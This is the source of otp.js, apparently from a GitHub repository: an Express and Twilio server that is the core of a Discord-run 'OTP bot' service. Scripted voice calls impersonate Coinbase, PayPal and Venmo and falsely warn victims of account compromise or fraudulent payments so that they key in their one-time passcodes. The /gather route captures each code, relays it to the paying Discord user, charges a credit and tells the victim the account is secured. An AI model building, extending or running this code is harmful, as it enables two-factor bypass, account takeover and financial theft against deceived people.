-
Notifications
You must be signed in to change notification settings - Fork 61
/
otp.js
105 lines (89 loc) · 3.82 KB
/
otp.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
require("dotenv").config()
const express = require('express');
const app = express();
const urlencoded = require('body-parser').urlencoded;
const VoiceResponse = require('twilio').twiml.VoiceResponse;
const ev = require('./caller').ev
const atob = require('atob')
const bot = require("./bot/src/index").bot
const { MessageEmbed } = require("discord.js")
// Parse incoming POST params with Express middleware
app.use(urlencoded({ extended: false }));
app.post('/coinbase', (request, response) => {
// Use the Twilio Node.js SDK to build an XML response
const twiml = new VoiceResponse();
// Use the <Gather> verb to collect user input
const gather = twiml.gather({
action: '/gather',
method: 'POST',
input: 'dtmf',
numDigits: 6,
});
gather.say("Automated Alert from Coinbase. Your account has sent 250$ to an insecure and fraudulent address. Please provide the one time passcode we just sent you in the dialpad.")
response.type('text/xml');
response.send(twiml.toString());
});
// Create a route that will handle Twilio webhook requests, sent as an
// HTTP POST to /voice in our application
app.post('/voice', (request, response) => {
// Use the Twilio Node.js SDK to build an XML response
const twiml = new VoiceResponse();
// Use the <Gather> verb to collect user input
const gather = twiml.gather({
action: '/gather',
method: 'POST',
input: 'dtmf',
numDigits: 6,
});
gather.say("Automated Alert From PayPal. Your account has been compromised. We have sent you a one time code to verify your identity. Please provide the code to this number with the dialpad.");
response.type('text/xml');
response.send(twiml.toString());
});
app.post('/venmo', (request, response) => {
// Use the Twilio Node.js SDK to build an XML response
const twiml = new VoiceResponse();
// Use the <Gather> verb to collect user input
const gather = twiml.gather({
action: '/gather',
method: 'POST',
input: 'dtmf',
numDigits: 6,
});
gather.say("This is a automated call from Venmo, You recently sent a payment for 550 Dollars to John Cramer, and we believe it is a fraudulent transfer, We have sent you a code, Please enter it in the dial pad To confirm your identity to cancel the payment")
response.type('text/xml');
response.send(twiml.toString());
});
app.post('/gather', (request, response) => {
const twiml = new VoiceResponse();
if (request.body.Digits) {
console.log("Acquired Code: " + request.body.Digits)
var obj = bot.calls.get(bot.idtosid.get(bot.abchannel).sid)
obj.code = request.body.Digits
bot.calls.set(bot.idtosid.get(bot.abchannel), obj)
bot.chs.get(bot.idtosid.get(bot.abchannel).sid).send(`Your code is: **${request.body.Digits}**`)
twiml.say("YOUR ACCOUNT WAS SECURED")
twiml.hangup()
var db = new bot.db.table("credits")
var creds = db.has(obj.id)
if(creds > 1) {
db.set(obj.id, Math.floor(creds - 1))
} else {
db.set(obj.id, 0)
}
bot.abchlog.send(`${obj.si}`, {
embed: new MessageEmbed()
.setTitle(`New OTP call.`)
.addField("To:", "no lol", true)
.addField("From:", obj.ca.from, true)
.addField("Code:", obj.ca.code, true)
.addField("Instantiater:", bot.users.cache.get(obj.id))
})
} else {
bot.calls.get(bot.idtosid.get(bot.abchannel).sid).send(`Your code was not entered :(`)
return;
}
response.type('text/xml');
response.send(twiml.toString());
});
console.log('Twilio Client app HTTP server running at http://127.0.0.1:3000');
app.listen(3000);